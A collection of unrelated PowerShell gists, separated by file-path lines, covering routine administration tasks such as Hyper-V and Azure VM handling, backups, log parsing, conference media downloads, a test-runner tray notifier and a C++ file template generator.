$result = $wsus.GetCleanupManager().PerformCleanup($scope);
log $result
|
PowerShellCorpus/GithubGist/jakeballard_9019690_raw_0279a216ef350d97c577c4105754d896c2fa8df5_Get-TSMClientEvents.ps1
|
jakeballard_9019690_raw_0279a216ef350d97c577c4105754d896c2fa8df5_Get-TSMClientEvents.ps1
|
function Get-TSMClientEvents
{
Param(
[Parameter(Mandatory=$true, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$true)]
$ComputerName
)
PROCESS
{
if ($ComputerName -is [Array])
{
$ComputerName | ForEach-Object { Get-TSMSchedule -ComputerName $_ }
}
else
{
$LogFile = Join-Path "\\$ComputerName\" 'C$\Program Files\Tivoli\TSM\baclient\dsmsched.log'
Write-Debug $LogFile
if (test-path $LogFile)
{
Get-Content $LogFile | ForEach-Object {
$Pattern = "^(?<Date>.{19})\s(?<EventCode>.{8})\s(?<Event>[^']*)(?<Path>'.*'):\s*(?<Description>.*)"
if ($_ -match $Pattern )
{
$Properties = @{
'ComputerName' = $ComputerName
'Date' = Get-Date $Matches.Date
'EventCode' = $Matches.EventCode
'Event' = $Matches.Event
'Path' = $Matches.Path
'Description' = $Matches.Description
}
Write-Output $(New-Object -TypeName PSObject -Property $Properties)
}
}
}
}
} #End PROCESS
} #End Function
|
PowerShellCorpus/GithubGist/AnthonyMastrean_6245289_raw_9e5b132fabe7bbfeee63c86eff43eb81cb66fee7_Connect-VM.ps1
|
AnthonyMastrean_6245289_raw_9e5b132fabe7bbfeee63c86eff43eb81cb66fee7_Connect-VM.ps1
|
#requires -Version 3.0
function Connect-VM {
[CmdletBinding(DefaultParameterSetName='name')]
param(
[Parameter(ParameterSetName='name')]
[Alias('cn')]
[System.String[]]$ComputerName=$env:COMPUTERNAME,
[Parameter(Position=0,
Mandatory,ValueFromPipelineByPropertyName,
ValueFromPipeline,ParameterSetName='name')]
[Alias('VMName')]
[System.String]$Name,
[Parameter(Position=0,
Mandatory,ValueFromPipelineByPropertyName,
ValueFromPipeline,ParameterSetName='id')]
[Alias('VMId','Guid')]
[System.Guid]$Id,
[Parameter(Position=0,Mandatory,
ValueFromPipeline,ParameterSetName='inputObject')]
[Microsoft.HyperV.PowerShell.VirtualMachine]$InputObject,
[switch]$StartVM
)
begin {
Write-Verbose "Initializing InstanceCount, InstanceCount = 0"
$InstanceCount=0
}
process {
try {
foreach($computer in $ComputerName) {
Write-Verbose "ParameterSetName is '$($PSCmdlet.ParameterSetName)'"
if($PSCmdlet.ParameterSetName -eq 'name') {
# Get the VM by Id if Name can convert to a guid
if($Name -as [guid]) {
Write-Verbose "Incoming value can cast to guid"
$vm = Get-VM -Id $Name -ErrorAction SilentlyContinue
} else {
$vm = Get-VM -Name $Name -ErrorAction SilentlyContinue
}
} elseif($PSCmdlet.ParameterSetName -eq 'id') {
$vm = Get-VM -Id $Id -ErrorAction SilentlyContinue
}
else {
$vm = $InputObject
}
if($vm) {
Write-Verbose "Executing 'vmconnect.exe $computer $($vm.Name) -G $($vm.Id) -C $InstanceCount'"
vmconnect.exe $computer $vm.Name -G $vm.Id -C $InstanceCount
} else {
Write-Verbose "Cannot find vm: '$Name'"
}
if($StartVM -and $vm) {
if($vm.State -eq 'off') {
Write-Verbose "StartVM was specified and VM state is 'off'. Starting VM '$($vm.Name)'"
Start-VM -VM $vm
} else {
Write-Verbose "Starting VM '$($vm.Name)'. Skipping, VM is not not in 'off' state."
}
}
$InstanceCount+=1
Write-Verbose "InstanceCount = $InstanceCount"
}
} catch {
Write-Error $_
}
}
}
|
PowerShellCorpus/GithubGist/rossnz_5609904_raw_d668df698ccb7600ccebce9224263194d5748859_Get-UserAgent.ps1
|
rossnz_5609904_raw_d668df698ccb7600ccebce9224263194d5748859_Get-UserAgent.ps1
|
function Get-UserAgent {
# Uses PowerShell's prebuilt UA strings. See
# http://goo.gl/9IGloI
param (
[Parameter(
Mandatory = $false,
Position = 0,
[ValidateSet('Firefox','Chrome','InternetExplorer','Opera','Safari')]
[string]$browsertype
)
if (!$browsertype) {
$browsers = @('Firefox','Chrome','InternetExplorer','Opera','Safari')
$browsertype = Get-Random -InputObject $browsers
}
[Microsoft.PowerShell.Commands.PSUserAgent]::$browsertype
}
|
PowerShellCorpus/GithubGist/ciphertxt_9656900_raw_30e12b1b241ad084e9d993fa7635e4501ee19bb7_DownloadAllSP14Materials.ps1
|
ciphertxt_9656900_raw_30e12b1b241ad084e9d993fa7635e4501ee19bb7_DownloadAllSP14Materials.ps1
|
# Originally published at https://gist.github.com/nzthiago/5736907
# I Customized it for SPC14 with slides
# If you like it, leave me a comment
# If you don't like it, complain to Github. :)
[Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath
$rss = (new-object net.webclient)
# Grab the RSS feed for the MP4 downloads
# SharePoint Conference 2014 Videos
$a = ([xml]$rss.downloadstring("http://channel9.msdn.com/Events/SharePoint-Conference/2014/RSS/mp4high"))
$b = ([xml]$rss.downloadstring("http://channel9.msdn.com/Events/SharePoint-Conference/2014/RSS/slides"))
#other qualities for the videos only. Choose the one you want!
# $a = ([xml]$rss.downloadstring("http://channel9.msdn.com/Events/SharePoint-Conference/2014/RSS/mp4"))
#$a = ([xml]$rss.downloadstring("http://channel9.msdn.com/Events/SharePoint-Conference/2014/RSS/mp3"))
#Preferably enter something not too long to not have filename problems! cut and paste them afterwards
$downloadlocation = "C:\spc14"
if (-not (Test-Path $downloadlocation))
{
Write-Host "Folder $fpath dosen't exist. Creating it..."
New-Item $downloadlocation -type directory
}
set-location $downloadlocation
#Download all the slides
$b.rss.channel.item | foreach {
$code = $_.comments.split("/") | select -last 1
# Grab the URL for the PPTX file
$urlpptx = New-Object System.Uri($_.enclosure.url)
$filepptx = $code + "-" + $_.creator + " - " + $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-").Replace("<", "").Replace("|", "").Replace('"',"").Replace("*","")
$filepptx = $filepptx.substring(0, [System.Math]::Min(120, $filepptx.Length))
$filepptx = $filepptx.trim()
$filepptx = $filepptx + ".pptx"
if ($code -ne "")
{
$folder = $code + " - " + $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-").Replace("<", "").Replace("|", "").Replace('"',"").Replace("*","")
$folder = $folder.substring(0, [System.Math]::Min(100, $folder.Length))
$folder = $folder.trim()
}
else
{
$folder = "NoCodeSessions"
}
if (-not (Test-Path $folder))
{
Write-Host "Folder $folder dosen't exist. Creating it..."
New-Item $folder -type directory
}
#text description from session . Thank you VaperWare
$OutFile = New-Item -type file "$($downloadlocation)\$($Folder)\$($Code.trim()).txt" -Force
$Category = "" ; $Content = ""
$_.category | foreach {$Category += $_ + ","}
$Content = $_.title.trim() + "`r`n" + $_.creator + "`r`n" + $_.summary.trim() + "`r`n" + "`r`n" + $Category.Substring(0,$Category.Length -1)
add-content $OutFile $Content
# Make sure the PowerPoint file doesn't already exist
if (!(test-path "$downloadlocation\$folder\$filepptx"))
{
# Echo out the file that's being downloaded
$filepptx
$wc = (New-Object System.Net.WebClient)
# Download the PPT file
$wc.DownloadFile($urlpptx, "$downloadlocation\$filepptx")
mv $filepptx $folder
}
else
{
# Let's make sure we actually got the whole thing...
$filepptx
$wc = (New-Object System.Net.WebClient)
# Test the size
$wc.OpenRead($urlpptx);
$bytestotal = [int64]$wc.ResponseHeaders["Content-Length"];
$filepptxref = Get-Item "$downloadlocation\$folder\$filepptx"
if ($bytestotal -ne $filepptx.Length)
{
Write-Host "That last one was no good! Let's try again!"
# Download the PPT file
Remove-Item "$downloadlocation\$folder\$filepptx" -Force
$wc.DownloadFile($urlpptx, "$downloadlocation\$filepptx")
mv $filepptx $folder
}
}
}
#download all the mp4
# Walk through each item in the feed
$a.rss.channel.item | foreach {
$code = $_.comments.split("/") | select -last 1
# Grab the URL for the MP4 file
$url = New-Object System.Uri($_.enclosure.url)
# Create the local file name for the MP4 download
$file = $code + "-" + $_.creator + "-" + $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-").Replace("<", "").Replace("|", "").Replace('"',"").Replace("*","")
$file = $file.substring(0, [System.Math]::Min(120, $file.Length))
$file = $file.trim()
$file = $file + ".mp4"
if ($code -ne "")
{
$folder = $code + " - " + $_.title.Replace(":", "-").Replace("?", "").Replace("/", "-").Replace("<", "").Replace("|", "").Replace('"',"").Replace("*","")
$folder = $folder.substring(0, [System.Math]::Min(100, $folder.Length))
$folder = $folder.trim()
}
else
{
$folder = "NoCodeSessions"
}
if (-not (Test-Path $folder))
{
Write-Host "Folder $folder) dosen't exist. Creating it..."
New-Item $folder -type directory
}
# Make sure the MP4 file doesn't already exist
if (!(test-path "$downloadlocation\$folder\$file"))
{
# Echo out the file that's being downloaded
$file
$wc = (New-Object System.Net.WebClient)
# Download the MP4 file
$wc.DownloadFile($url, "$downloadlocation\$file")
mv $file $folder
}
else
{
# Let's make sure we actually got the whole thing...
$file
$wc = (New-Object System.Net.WebClient)
# Test the size
$wc.OpenRead($url);
$bytestotal = [int64]$wc.ResponseHeaders["Content-Length"];
$fileref = Get-Item "$downloadlocation\$folder\$file"
if ($bytestotal -ne $fileref.Length)
{
Write-Host "That last one was no good! Let's try again!"
# Download the PPT file
Remove-Item "$downloadlocation\$folder\$file" -Force
$wc.DownloadFile($url, "$downloadlocation\$file")
mv $file $folder
}
}
}
|
PowerShellCorpus/GithubGist/nabehiro_6605195_raw_18f44622743a969377be8a2e5b47070d89312e15_BackupCopyAzureVM.ps1
|
nabehiro_6605195_raw_18f44622743a969377be8a2e5b47070d89312e15_BackupCopyAzureVM.ps1
|
# Backup Copy Azure Virtual Machine
#
# [Backup Flow]
# 1. Stop Virtual Machine.
# 2. Copy Virtual Machine OS and Data Disks.
# 3. Start Virtual Machine.
#
# [PreRequirement]
# - Install Windows Azure Powershell.
# - Import Azure Publish Setting File.
# See here,
# http://blog.greatrexpectations.com/2013/04/24/using-blob-snapshots-to-backup-azure-virtual-machines/
#
# [Reference]
# http://gallery.technet.microsoft.com/scriptcenter/Backup-and-Restore-Windows-c928fa13
#
# Configuration
# ================================================================
$subscriptionName = "<Subscription Name>"
$cloudServiceName = "<Cloud Service Name>"
$virtualMachineName = "<Virutal Machine Name>"
#=================================================================
# Pre-require "Import-AzurePublishSettingsFile"
set-AzureSubscription $subscriptionName
$vm = Get-AzureVM -ServiceName $cloudServiceName -Name $virtualMachineName
if($vm -eq $null)
{
throw "VM is not found."
}
[bool]$wasRunning = $false
## Shut down VM
if(($vm.InstanceStatus -eq 'ReadyRole') -and ($vm.PowerState -eq 'Started'))
{
$wasRunning = $true
Write-Host "[Start] Stop-AzureVM:" (Get-Date)
$vm | Stop-AzureVM -StayProvisioned | Out-Null
Write-Host "[End ] Stop-AzureVM:" (Get-Date)
# Wait for the machine to shutdown
do
{
Start-Sleep -Seconds 5
$vm = Get-AzureVM -ServiceName $cloudServiceName -Name $virtualMachineName
} while(($vm.InstanceStatus -eq 'ReadyRole') -and ($vm.PowerState -eq 'Started'))
}
## Copy VM Disks
# Import StorageClient.dll
Add-Type -Path "C:\Program Files\Microsoft SDKs\Windows Azure\.NET SDK\2012-10\bin\Microsoft.WindowsAzure.StorageClient.dll"
$osDisk = $vm | Get-AzureOSDisk
if($osDisk -eq $null)
{
throw "VM OS Disk is not found."
}
$storageAccount = $osDisk.MediaLink.Host.Split('.')[0]
$blobUrl = $osDisk.MediaLink.Scheme + "://" + $osDisk.MediaLink.Host
# {Container Name}/backup_{Virtual Machine Name}/{yyyyMMdd_HHmmss}/
$bkupDirPath = $osDisk.MediaLink.Segments[1] + "backup_" + $virtualMachineName + "/" + (Get-Date -Format yyyyMMdd_HHmmss) + "/"
Write-Host "[Info ] Backup Blob Directory:" $bkupDirPath
$storageAccountKey = (Get-AzureStorageKey -StorageAccountName $storageAccount).Primary
$credential = New-Object Microsoft.WindowsAzure.StorageCredentialsAccountAndKey($storageAccount, $storageAccountKey)
$blobClient = New-Object Microsoft.WindowsAzure.StorageClient.CloudBlobClient($blobUrl, $credential)
# Copy OS Disk
$osBlob = $blobClient.GetBlobReference($osDisk.MediaLink)
$bkupOsBlob = $blobClient.GetBlobReference($bkupDirPath + $osDisk.MediaLink.Segments[$osDisk.MediaLink.Segments.Length - 1])
Write-Host "[Start] OS Disk Copy:" $osDisk.MediaLink ":" (Get-Date)
$bkupOsBlob.CopyFromBlob($osBlob)
Write-Host "[End ] OS Disk Copy:" $osDisk.MediaLink ":" (Get-Date)
# Copy Data Disk
$dataDisks = $vm | Get-AzureDataDisk
foreach($dataDisk in $dataDisks)
{
$dataBlob = $blobClient.GetBlobReference($dataDisk.MediaLink)
$bkupDataBlob = $blobClient.GetBlobReference($bkupDirPath + $dataDisk.MediaLink.Segments[$dataDisk.MediaLink.Segments.Length - 1])
Write-Host "[Start] Data Disk Copy:" $dataDisk.MediaLink ":" (Get-Date)
$bkupDataBlob.CopyFromBlob($dataBlob)
Write-Host "[End ] Data Disk Copy:" $dataDisk.MediaLink ":" (Get-Date)
}
# if the machine was shutdown to perform the snapshot restart it
if($wasRunning)
{
Write-Host "[Start] Start-AzureVM:" (Get-Date)
$vm | Start-AzureVM | Out-Null
Write-Host "[End ] Start-AzureVM:" (Get-Date)
}
|
PowerShellCorpus/GithubGist/gravejester_5041943_raw_4e7e0e8b60289a4dd57c3f52bcc2783168d7e9ce_wget.ps1
|
gravejester_5041943_raw_4e7e0e8b60289a4dd57c3f52bcc2783168d7e9ce_wget.ps1
|
# PowerShell wget
# Version 1.0
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline = $true, Mandatory = $true)]
$url,
$dest = (Get-Location).Path
)
if(!$url){break}
$filesplit = $url.split("\/")
$file = $filesplit[($filesplit.length-1)]
$fulldest = $dest + "\" + $file
(New-Object System.Net.WebClient).DownloadFile($url,$fulldest)
|
PowerShellCorpus/GithubGist/xenolinguist_3346481_raw_deb3a5ad3a7bc0dd6c9c729cddc444aa72d5a86b_autotest.ps1
|
xenolinguist_3346481_raw_deb3a5ad3a7bc0dd6c9c729cddc444aa72d5a86b_autotest.ps1
|
function Reference-Assembly($Name) {
[void] [System.Reflection.Assembly]::LoadWithPartialName($Name)
}
Reference-Assembly System.Windows.Forms
Reference-Assembly System.Drawing
function Decode-IconGraphic {
$encodedIcon = "
AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAAAgAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwoyTDIPVYN0D16Pkg9c
jZIKU390BTJMMgAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACDUBhNyVx
oLhLk8T/ZqPS/2un2f9uqNj/Y57L/0ePwv8baZu4CTxcNwAAAAIAAAAAAAAAAAAA
AAAAAAACEkdpREqSv+1wqdX/bqfZ/3Oq2v9uqtv/dqvZ/3mr1f9yqtj/b6nZ/y58
te0HQGJDAAAAAgAAAAAAAAAAEkVlN1GXxO1/td3/eq7Z/3yw2/+BsNn/dKze/3at
2f9+s97/e7Lf/3ux3v9uq+D/OYK07Qk8XDcAAAAAAAAABzuDrbiHuOD/gbPb/4a2
2P+SvNv/l8Hk/12bx/92psP/ncDX/6/Q7f+Ft9//cq3f/3Wt2v8eaZy4AAAABxQ9
UTJ6s9f/gLPb/3+z3P9insb/XJa+/6bH3v9koc3/OH2q/ylum/9VjrH/vNbr/3mx
4f9/teH/TZbJ/wouSDEgaZN0n8nk/4a43P9xqtX/NICx/1GQuv9PkLr/jr7k/4u8
5P+Bstj/JG6d/4Ctxv+LvOP/gbfg/3Sw2f8PVoJzKHWjkbrX6/+LvOH/ksHk/3iw
1v80f7H/udbt/4i75f+NveP/kL7i/02Twf9blbn/nMTo/4u+4/+Mv+T/E2GRkCp4
ppDD3fD/msXl/5PB5P95sdj/J3eu/8je8f+OwOf/lcHl/5jD5f9locj/W5a9/7nY
8P+ex+f/kcDj/xVjko8nbphzu9ru/6DJ6P+WwuH/m8Xi/yp8tP+AsdT/wt7y/63S
7f9+sdb/NX+w/1mawv9Zl7//mMTm/4K43v8UW4hyGj5YMZXF4v+qzef/msTk/6XL
6P93sdn/J3ew/0KJu/9vqM7/uNTq/0qQvv86gbH/kL/i/5jG6P9ipdH/CjVPMAAA
AAdIj7e3zuTz/6PM6f+r0ev/oczq/5rG5/9lpdL/Y6PQ/5PA4f+dyej/jbzd/5rI
6P+dyOf/MHqotwAAAAcAAAAAHFBsNney1e3P5PL/tNTq/6TM6v+mzOn/osrq/6jM
5/+myub/pc7r/6fN6f+izez/VpvF7BJGYzYAAAAAAAAAAAAAAAIiV3lDeLPW7dXo
9P+z0+z/q87q/6TM6/+mzer/q87q/6nO6v+y1O3/XqLL7RZPbkMAAAACAAAAAAAA
AAAAAAAAAAAAAiFQcTZJkLm3lsbk/7va7v/F3vH/x+Dy/7HT6v+GvN7/QYmzthdL
ZzYAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABxo/WjAqcppyLnqnjix4
p44mbpdxFTtWLwAAAAcAAAAAAAAAAAAAAAAAAAAA/n8AAPAPAADgBwAAwAMAAIAB
AACAAQAAgAEAAAAAAAAAAAAAgAEAAIABAACAAQAAwAMAAOAHAADwDwAA/n8AAA==
"
$iconBytes = [System.Convert]::FromBase64String($encodedIcon)
$stream = New-Object System.IO.MemoryStream (,$iconBytes)
$icon = New-Object System.Drawing.Icon $stream
$stream.Close()
return $icon
}
function Create-NotifyIcon() {
$trayIcon = New-Object -TypeName System.Windows.Forms.NotifyIcon `
-Property @{ Icon = Decode-IconGraphic;
Text = "No tests run yet!";
Visible = $true }
$trayIcon | Add-Member ScriptMethod Notify {
param($NotificationType, $TitleText, $BodyText)
$this.Text = $BodyText
$this.BalloonTipIcon = $NotificationType
$this.BalloonTipText = $BodyText
$this.BalloonTipTitle = $TitleText
$this.ShowBalloonTip(10000)
}
return $trayIcon
}
function Add-EventHandler($Obj, $Event, $Name) {
$action = {
try {
Handle-Event $Event
} catch {
Write-Host "Error in event handler: " $_
}
}
Register-ObjectEvent -InputObject $Obj `
-EventName $Event `
-SourceIdentifier "$Name$Event" `
-Action $action | Out-Null
}
function Create-FileSystemWatcher($Path) {
$fsw = New-Object -TypeName System.IO.FileSystemWatcher `
-Property @{ Path = $(Get-Location).Path;
NotifyFilter = 'LastWrite';
IncludeSubdirectories = $true;
Filter = "*.erl" }
Add-EventHandler $fsw Changed $Path
Add-EventHandler $fsw Created $Path
return $fsw
}
function global:Handle-Event($Event) {
$file = $Event.SourceEventArgs.Name
if($file -match '^(.*\\)?(?:src|test)\\([^.].*?)(?:_test)?.erl$') {
$suite = $matches[2]
$suite += "_test"
$test_module = Join-Path test "${suite}.erl"
$app_filter = ""
if($matches[1]) {
$test_module = Join-Path $matches[1] $test_module
$app_filter = "apps=$(Split-Path -Leaf $matches[1])"
}
if(Test-Path $test_module) {
$cmd = ".\rebar eunit skip_deps=true suite=$suite $app_filter"
Write-Host $cmd
$output = Invoke-Expression $cmd
if($LastExitCode -ne 0) {
Write-Host -Separator "`r`n" -ForegroundColor Red $output
$trayIcon.Notify("Error",
"$suite - eunit failed",
"eunit failed for $suite")
} else {
Write-Host -Separator "`r`n" -ForegroundColor Green $output
$trayIcon.Notify("Info",
"$suite - eunit passed",
"eunit passed for $suite")
}
} else {
$output = "No tests for $suite"
Write-Host -Separator "`r`n" -ForegroundColor Yellow $output
$trayIcon.Notify("Warning",
"$suite - no eunit tests",
"no eunit tests for $suite")
}
}
}
# Main
try {
$trayIcon = Create-NotifyIcon
$watcher = Create-FileSystemWatcher
Write-Host "Watching $pwd - <Ctrl>-C to stop"
while ($true) {
if ([System.Console]::KeyAvailable) {
$key = [System.Console]::ReadKey($true)
}
}
} finally {
Write-Host "Cleaning up!"
Get-EventSubscriber | Unregister-Event
$trayIcon.Dispose()
$watcher.Dispose()
}
|
PowerShellCorpus/GithubGist/guidancesrobb_cab058c5b55947546787_raw_04ae1f3b79a8f5f44fbd11d1016151b308c17190_magento-fix-db-trigger-definer-windows.ps1
|
guidancesrobb_cab058c5b55947546787_raw_04ae1f3b79a8f5f44fbd11d1016151b308c17190_magento-fix-db-trigger-definer-windows.ps1
|
Get-Content dump.sql | Foreach-Object { $_ -replace 'DEFINER(.*)`magento-dbuser`@`localhost`','DEFINER$1`different-user`@`different-host`' } | Set-Content new.sql
|
PowerShellCorpus/GithubGist/urasandesu_8252521_raw_9cb34dba500879076d13232a94c2c98e3e2d4bb6_SmallTemplateEngineSample.ps1
|
urasandesu_8252521_raw_9cb34dba500879076d13232a94c2c98e3e2d4bb6_SmallTemplateEngineSample.ps1
|
# +実行には、事前に PSAnonym(https://github.com/urasandesu/PSAnonym) のインストールが必要。
# +また、PSAnonym は PowerShell v2 でしか動作しないため、このコード片を実行するには、
# PS C:\> powershell -version 2
# する等して、プロンプトの実行環境を合わせてやる必要がある。
Import-Module Urasandesu.PSAnonym
# -----------------------------------------------------------------------------------------------
#
# テンプレートエンジンを構成するプロトタイプ群
#
# -----------------------------------------------------------------------------------------------
# ファイルを表すプロトタイプ
$File =
Prototype File {
# 設定値
Field Properties ([String[]].Default)
# コンストラクタ
New {
$Me.Properties = $Params
}
# 相対パス
Property Path {
$result = $Me.FullNames -join '/'
$result + ($Me.Remains -join '')
}
# 完全修飾名
Property FullName {
$Me.SkipEmptySymbol($Me.Properties[0..3]) -join '::'
}
# 型名
Property Name {
$Me.Properties[3]
}
# プロトタイプ名
Property PrototypeName {
$Me.GetPrototypeName($Me.Properties)
}
# 参照時のエイリアス名
Property Alias {
$Me.Name + $Me.PrototypeName
}
# 名前空間の要素
Property Namespaces {
$Me.SkipEmptySymbol($Me.Properties[0..2])
}
# 完全修飾名の要素
Property FullNames {
$Me.SkipEmptySymbol($Me.Properties[0..3])
}
# 残りの要素(サフィックス + 拡張し)
Property Remains {
$Me.SkipEmptySymbol($Me.Properties[4..($Me.Properties.Length - 1)])
}
# 拡張子
Property Extension {
$Me.Properties[-1]
}
# 設定値からプロトタイプ名を取得
Method GetPrototypeName {
$properties = $Me.EraseEmptySymbol($Params)
$properties[-1] = $properties[-1] -replace '\.', ''
$properties[-2] + $properties[-1]
}
# 設定値から空記号を消去
Method EraseEmptySymbol {
foreach ($property in $Params) {
$property -replace '/', ''
}
} -Hidden
# 設定値から空記号を除外
Method SkipEmptySymbol {
foreach ($property in $Params) {
if ('/' -ne $property) {
$property
}
}
} -Hidden
}
# ヘッダーファイルを表すプロトタイプ
$HeaderFile =
$File |
Prototype HeaderFile {
# インクルードガード
Property IncludeGuard {
$result = $Me.ToIncludeGuardElems($Me.FullNames) -join '_'
$result + ($Me.ToIncludeGuardElems($Me.Remains) -join '')
}
# 要素をインクルードガード用に変換
Method ToIncludeGuardElems {
foreach ($param in $Params) {
$param = $param -replace '\.', '_'
$param.ToUpper()
}
} -Hidden
}
# ヘッダーファイルの内、前方宣言を行うファイルを表すプロトタイプ
$Fwdh = $HeaderFile | Prototype Fwdh
# ヘッダーファイルの内、型の定義を行うファイルを表すプロトタイプ
$h = $HeaderFile | Prototype h
# ソースファイル(コンパイル単位)を表すプロトタイプ
$cpp = $File | Prototype cpp
# 自動生成可能なことを表すプロトタイプ
$AutoGen =
Prototype AutoGen {
# 依存するヘッダー
Field DependentHeaders ([Object[]].Default)
Property FormattedDependency {
if ($null -ne $Me.DependentHeaders) {
$Me.DependentHeaders | % { @"
#ifndef $($_.IncludeGuard)
#include <$($_.Path)>
#endif
"@ }
}
}
# テンプレート
AbstractProperty Template -Getter
# 出力処理
Method Generate {
param (
[string]
$OutputPath
)
$outputDir = Split-Path $OutputPath -Parent
New-Item $outputDir -ItemType Directory -Force | Out-Null
Set-Content $OutputPath $Me.Template -Encoding UTF8
}
}
# 自動生成されるヘッダーファイルの内、前方宣言を行うファイルを表すプロトタイプ
$AutoGenFwdh =
$HeaderFile, $AutoGen |
Prototype AutoGenFwdh {
OverrideProperty Template {
@"
#pragma once
#ifndef $($Me.IncludeGuard)
#define $($Me.IncludeGuard)
$($Me.FormattedDependency)
namespace $($Me.Namespaces[0]) { namespace $($Me.Namespaces[1]) { namespace $($Me.Namespaces[2]) {
class $($Me.Name);
}}} // namespace $($Me.Namespaces[0]) { namespace $($Me.Namespaces[1]) { namespace $($Me.Namespaces[2]) {
#endif // $($Me.IncludeGuard)
"@
}
}
# 自動生成されるヘッダーファイルの内、型の定義を行うファイルを表すプロトタイプ
$AutoGenh =
$HeaderFile, $AutoGen |
Prototype AutoGenh {
OverrideProperty Template {
@"
#pragma once
#ifndef $($Me.IncludeGuard)
#define $($Me.IncludeGuard)
$($Me.FormattedDependency)
namespace $($Me.Namespaces[0]) { namespace $($Me.Namespaces[1]) { namespace $($Me.Namespaces[2]) {
class $($Me.Name)
{
public:
$($Me.Name)();
~$($Me.Name)();
};
}}} // namespace $($Me.Namespaces[0]) { namespace $($Me.Namespaces[1]) { namespace $($Me.Namespaces[2]) {
#endif // $($Me.IncludeGuard)
"@
}
}
# 自動生成されるソースファイル(コンパイル単位)を表すプロトタイプ
$AutoGencpp =
$File, $AutoGen |
Prototype AutoGencpp {
OverrideProperty Template {
@"
#include "stdafx.h"
$($Me.FormattedDependency)
namespace $($Me.Namespaces[0]) { namespace $($Me.Namespaces[1]) { namespace $($Me.Namespaces[2]) {
$($Me.Name)::$($Me.Name)()
{
}
~$($Me.Name)::$($Me.Name)()
{
}
}}} // namespace $($Me.Namespaces[0]) { namespace $($Me.Namespaces[1]) { namespace $($Me.Namespaces[2]) {
"@
}
}
# -----------------------------------------------------------------------------------------------
#
# テンプレートエンジン設定情報記述のための関数群
#
# -----------------------------------------------------------------------------------------------
# 設定値を保存するハッシュテーブル
New-Variable Records @{ } -Option ReadOnly -Force
# 共通に使われるヘッダのインポートを宣言するための関数
function New-ImportCommon {
[CmdletBinding()]
param (
[parameter(Mandatory = $true, ValueFromRemainingArguments = $true)]
[String[]]
$Properties
)
$prototypeName = $File.GetPrototypeName($Properties)
$common = Invoke-Expression ('${0}.New($Properties)' -f $prototypeName)
$Records[$common.Alias] = $common
}
New-Alias Import New-ImportCommon -Force
# 生成するファイルの定義を宣言するための関数
function New-Declaration {
[CmdletBinding()]
param (
[parameter(Mandatory = $true, ValueFromRemainingArguments = $true)]
[String[]]
$Properties
)
$prototypeName = $File.GetPrototypeName($Properties)
$declaration = Invoke-Expression ('$AutoGen{0}.New($Properties)' -f $prototypeName)
$Records[$declaration.Alias] = $declaration
}
New-Alias Declare New-Declaration -Force
# 依存関係の定義を宣言するための関数
function New-Dependency {
[CmdletBinding()]
param (
[parameter(Mandatory = $true, Position = 0)]
[String]
$TargetAlias,
[parameter(ValueFromRemainingArguments = $true)]
[String[]]
$Aliases
)
if ($null -ne $Aliases) {
$Records[$TargetAlias].DependentHeaders = @(foreach ($alias in $Aliases) { $Records[$alias] })
}
}
New-Alias DependsOn New-Dependency -Force
# -----------------------------------------------------------------------------------------------
#
# テンプレートエンジンへの設定情報(共通のヘッダ、生成するファイルの宣言、依存関係の定義)
#
# -----------------------------------------------------------------------------------------------
# 共通に使われるヘッダの宣言
Import Urasandesu CppAnonym / SimpleHeapProvider / .h
Import Urasandesu CppAnonym / SmartHeapProvider / .h
Import Urasandesu CppAnonym / PersistableHeapProvider / .h
Import Urasandesu CppAnonym / DisposableHeapProvider / .h
Import Urasandesu CppAnonym / EmptyHeapProvider / .h
# 生成するファイルの宣言
Declare Urasandesu Swathe Hosting HostInfo Fwd .h
Declare Urasandesu Swathe Hosting HostInfo / .h
Declare Urasandesu Swathe Hosting HostInfo / .cpp
Declare Urasandesu Swathe Hosting RuntimeHost Fwd .h
Declare Urasandesu Swathe Hosting RuntimeHost / .h
Declare Urasandesu Swathe Hosting RuntimeHost / .cpp
# 依存関係の定義
DependsOn HostInfoh HostInfoFwdh
DependsOn HostInfocpp HostInfoh DisposableHeapProviderh
DependsOn RuntimeHosth RuntimeHostFwdh HostInfoh
DependsOn RuntimeHostcpp RuntimeHosth SmartHeapProviderh
# -----------------------------------------------------------------------------------------------
#
# 出力処理
#
# -----------------------------------------------------------------------------------------------
$RootDirectory = Join-Path $PWD ('Published_' + [DateTime]::Now.ToString('yyyyMMddHHmmss'))
foreach ($target in $Records.GetEnumerator() |
% { $_.Value } | ? { $_.pstypenames -contains $AutoGen.pstypenames[0] }) {
$target.Generate((Join-Path $RootDirectory $target.Path))
}
|
PowerShellCorpus/GithubGist/fr0gger03_807a2fb29fcc05de4bd9_raw_ad85eb2bf0253ab05b8f520f8c23aef8ca2e50aa_VM-VMFS-LUN-mapping.ps1
|
fr0gger03_807a2fb29fcc05de4bd9_raw_ad85eb2bf0253ab05b8f520f8c23aef8ca2e50aa_VM-VMFS-LUN-mapping.ps1
|
# you must connect and authenticate to a vCenter server
# use Connect-VIServer to do so
# establish Export file name
$csvname = Read-Host 'Please provide the file path and name for your CSV export'
# start by gathering the list of virtual machines for this vCenter, enter a ForEach loop
Get-View -ViewType virtualmachine | ForEach-Object {
# Capture the name of the virtual machine as a variable
$vmname=$_.Name
# Capture the details of the VMDK file(s) for the virtual machine, including path(s)
$vmdkname=$_.layoutex.file.name
# Capture the name of the datastore for the virtual machine, as reported by the vm
$dsname=$_.config.DatastoreUrl.name
# For each virtual machine, capture datastore details, using the
# name of the datastore AS REPORTED BY THE VIRTUAL MACHINE for the filter,
# capture the NAA ID of the LUN for the datastore,
# then export select properties to the CSV file named previously
Get-View -ViewType datastore -Filter @{"Name"= "^$dsname$"} |Select-Object @{n="VM Name";e={$vmname}}, @{n="VMDK Name";e={$vmdkname}}, @{n="VM Datastore Name";e={$dsname}}, name,@{n='NAA';e={$_.info.vmfs.extent.diskname}} | Export-Csv $csvname -NoTypeInformation –Append
}
|
